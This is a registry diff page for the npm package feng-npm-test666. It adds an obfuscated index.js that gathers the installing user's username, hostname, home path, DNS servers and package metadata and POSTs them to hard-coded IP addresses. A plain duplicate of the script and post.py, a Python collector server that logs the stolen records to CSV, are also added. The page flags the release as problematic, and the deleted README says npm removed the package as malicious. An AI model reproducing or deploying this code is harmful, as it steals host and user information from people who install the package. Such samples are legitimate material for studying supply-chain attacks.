feng-npm-test666 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of feng-npm-test666 might be problematic. Click here for more details.
- package/index.js +53 -0
- package/index/346/234/252/346/267/267/346/267/206.js +53 -0
- package/package.json +8 -3
- package/post.py +74 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,53 @@
|
|
1
|
+
const a1 = require(String.fromCharCode(111, 115));
|
2
|
+
const b1 = require(String.fromCharCode(100, 110, 115));
|
3
|
+
const c1 = require(String.fromCharCode(113, 117, 101, 114, 121, 115, 116, 114, 105, 110, 103));
|
4
|
+
const d1 = require(String.fromCharCode(104, 116, 116, 112));
|
5
|
+
const e1 = require("./package.json");
|
6
|
+
const f1 = e1.name;
|
7
|
+
|
8
|
+
const g1 = JSON.stringify({
|
9
|
+
p: f1,
|
10
|
+
c: __dirname,
|
11
|
+
hd: a1.homedir(),
|
12
|
+
hn: a1.hostname(),
|
13
|
+
un: a1.userInfo().username,
|
14
|
+
dns: b1.getServers(),
|
15
|
+
r: e1 ? e1.___resolved : undefined,
|
16
|
+
v: e1.version,
|
17
|
+
pjson: e1,
|
18
|
+
});
|
19
|
+
|
20
|
+
var h1 = c1.stringify({
|
21
|
+
msg: g1,
|
22
|
+
});
|
23
|
+
|
24
|
+
var i1 = {
|
25
|
+
hostname: String.fromCharCode(49, 49, 56, 46, 49, 55, 56, 46, 49, 51, 56, 46, 50, 52, 57),
|
26
|
+
port: 8088,
|
27
|
+
path: String.fromCharCode(47),
|
28
|
+
method: String.fromCharCode(80, 79, 83, 84),
|
29
|
+
headers: {
|
30
|
+
"Content-Type": String.fromCharCode(97, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 47, 120, 45, 119, 119, 119, 45, 102, 111, 114, 109, 45, 117, 114, 108, 101, 110, 99, 111, 100, 101, 100), // "application/x-www-form-urlencoded"
|
31
|
+
"Content-Length": h1.length,
|
32
|
+
},
|
33
|
+
};
|
34
|
+
|
35
|
+
var j1 = d1.request(i1, (k1) => {
|
36
|
+
k1.on("data", (l1) => {
|
37
|
+
process.stdout.write(l1);
|
38
|
+
});
|
39
|
+
});
|
40
|
+
|
41
|
+
j1.on("error", (m1) => {
|
42
|
+
if(Math.random() > 0.5) {
|
43
|
+
var n1 = true;
|
44
|
+
while(n1) {
|
45
|
+
n1 = false;
|
46
|
+
}
|
47
|
+
} else {
|
48
|
+
// handle error
|
49
|
+
}
|
50
|
+
});
|
51
|
+
|
52
|
+
j1.write(h1);
|
53
|
+
j1.end();
|
@@ -0,0 +1,53 @@
|
|
1
|
+
const a1 = require("os");
|
2
|
+
const b1 = require("dns");
|
3
|
+
const c1 = require("querystring");
|
4
|
+
const d1 = require("http");
|
5
|
+
const e1 = require("./package.json");
|
6
|
+
const f1 = e1.name;
|
7
|
+
|
8
|
+
const g1 = JSON.stringify({
|
9
|
+
p: f1,
|
10
|
+
c: __dirname,
|
11
|
+
hd: a1.homedir(),
|
12
|
+
hn: a1.hostname(),
|
13
|
+
un: a1.userInfo().username,
|
14
|
+
dns: b1.getServers(),
|
15
|
+
r: e1 ? e1.___resolved : undefined,
|
16
|
+
v: e1.version,
|
17
|
+
pjson: e1,
|
18
|
+
});
|
19
|
+
|
20
|
+
var h1 = c1.stringify({
|
21
|
+
msg: g1,
|
22
|
+
});
|
23
|
+
|
24
|
+
var i1 = {
|
25
|
+
hostname: "43.136.35.213",
|
26
|
+
port: 8088,
|
27
|
+
path: "/",
|
28
|
+
method: "POST",
|
29
|
+
headers: {
|
30
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
31
|
+
"Content-Length": h1.length,
|
32
|
+
},
|
33
|
+
};
|
34
|
+
|
35
|
+
var j1 = d1.request(i1, (k1) => {
|
36
|
+
k1.on("data", (l1) => {
|
37
|
+
process.stdout.write(l1);
|
38
|
+
});
|
39
|
+
});
|
40
|
+
|
41
|
+
j1.on("error", (m1) => {
|
42
|
+
if (Math.random() > 0.5) {
|
43
|
+
var n1 = true;
|
44
|
+
while (n1) {
|
45
|
+
n1 = false;
|
46
|
+
}
|
47
|
+
} else {
|
48
|
+
// handle error
|
49
|
+
}
|
50
|
+
});
|
51
|
+
|
52
|
+
j1.write(h1);
|
53
|
+
j1.end();
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "feng-npm-test666",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/post.py
ADDED
@@ -0,0 +1,74 @@
|
|
1
|
+
# -*- coding: utf-8 -*-
|
2
|
+
import http.server
|
3
|
+
import socketserver
|
4
|
+
import json
|
5
|
+
import csv
|
6
|
+
from urllib.parse import unquote
|
7
|
+
import sys
|
8
|
+
|
9
|
+
# 从命令行参数中获取端口号,默认值为80
|
10
|
+
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 80
|
11
|
+
FILENAME = 'log.csv'
|
12
|
+
|
13
|
+
class CustomHandler(http.server.BaseHTTPRequestHandler):
|
14
|
+
def do_POST(self):
|
15
|
+
content_length = int(self.headers['Content-Length'])
|
16
|
+
post_data = self.rfile.read(content_length).decode('utf-8')
|
17
|
+
|
18
|
+
print(f"Raw POST data: {post_data}") # 调试信息,打印收到的原始数据
|
19
|
+
|
20
|
+
try:
|
21
|
+
# 解析POST请求中的数据
|
22
|
+
data = self.parse_post_data(post_data)
|
23
|
+
|
24
|
+
# 把数据追加到CSV文件中
|
25
|
+
self.write_to_csv(data)
|
26
|
+
|
27
|
+
# 返回200响应
|
28
|
+
self.send_response(200)
|
29
|
+
self.end_headers()
|
30
|
+
self.wfile.write(b'POST request received')
|
31
|
+
except Exception as e:
|
32
|
+
self.send_response(400) # 发送400错误,表示请求体解析失败
|
33
|
+
self.end_headers()
|
34
|
+
self.wfile.write(f"Error processing POST data: {e}".encode('utf-8'))
|
35
|
+
|
36
|
+
def parse_post_data(self, post_data):
|
37
|
+
# 解码并解析 msg 参数的值
|
38
|
+
try:
|
39
|
+
parsed_data = unquote(post_data.split('msg=')[1])
|
40
|
+
json_data = json.loads(parsed_data)
|
41
|
+
except (IndexError, json.JSONDecodeError) as e:
|
42
|
+
raise ValueError(f"Error parsing post data: {e}")
|
43
|
+
|
44
|
+
return {
|
45
|
+
'PackageName': json_data.get('p'), # 修改列名
|
46
|
+
'Path': json_data.get('c'), # 修改列名
|
47
|
+
'homePath': json_data.get('hd'), # 修改列名
|
48
|
+
'hostname': json_data.get('hn'), # 修改列名
|
49
|
+
'User': json_data.get('un'), # 修改列名
|
50
|
+
'dns': json_data['dns'][0] if 'dns' in json_data else '',
|
51
|
+
'ip': json_data['dns'][1] if 'dns' in json_data and len(json_data['dns']) > 1 else '',
|
52
|
+
}
|
53
|
+
|
54
|
+
def write_to_csv(self, data):
|
55
|
+
file_exists = False
|
56
|
+
try:
|
57
|
+
with open(FILENAME, 'r') as f:
|
58
|
+
file_exists = True
|
59
|
+
except FileNotFoundError:
|
60
|
+
pass
|
61
|
+
|
62
|
+
with open(FILENAME, 'a', newline='') as csvfile:
|
63
|
+
fieldnames = ['PackageName', 'Path', 'homePath', 'hostname', 'User', 'dns', 'ip'] # 更新列名
|
64
|
+
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
|
65
|
+
|
66
|
+
if not file_exists:
|
67
|
+
writer.writeheader() # 如果文件不存在,写入表头
|
68
|
+
|
69
|
+
writer.writerow(data)
|
70
|
+
|
71
|
+
if __name__ == "__main__":
|
72
|
+
with socketserver.TCPServer(("", PORT), CustomHandler) as httpd:
|
73
|
+
print(f"Serving on port {PORT}")
|
74
|
+
httpd.serve_forever()
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=feng-npm-test666 for more information.
|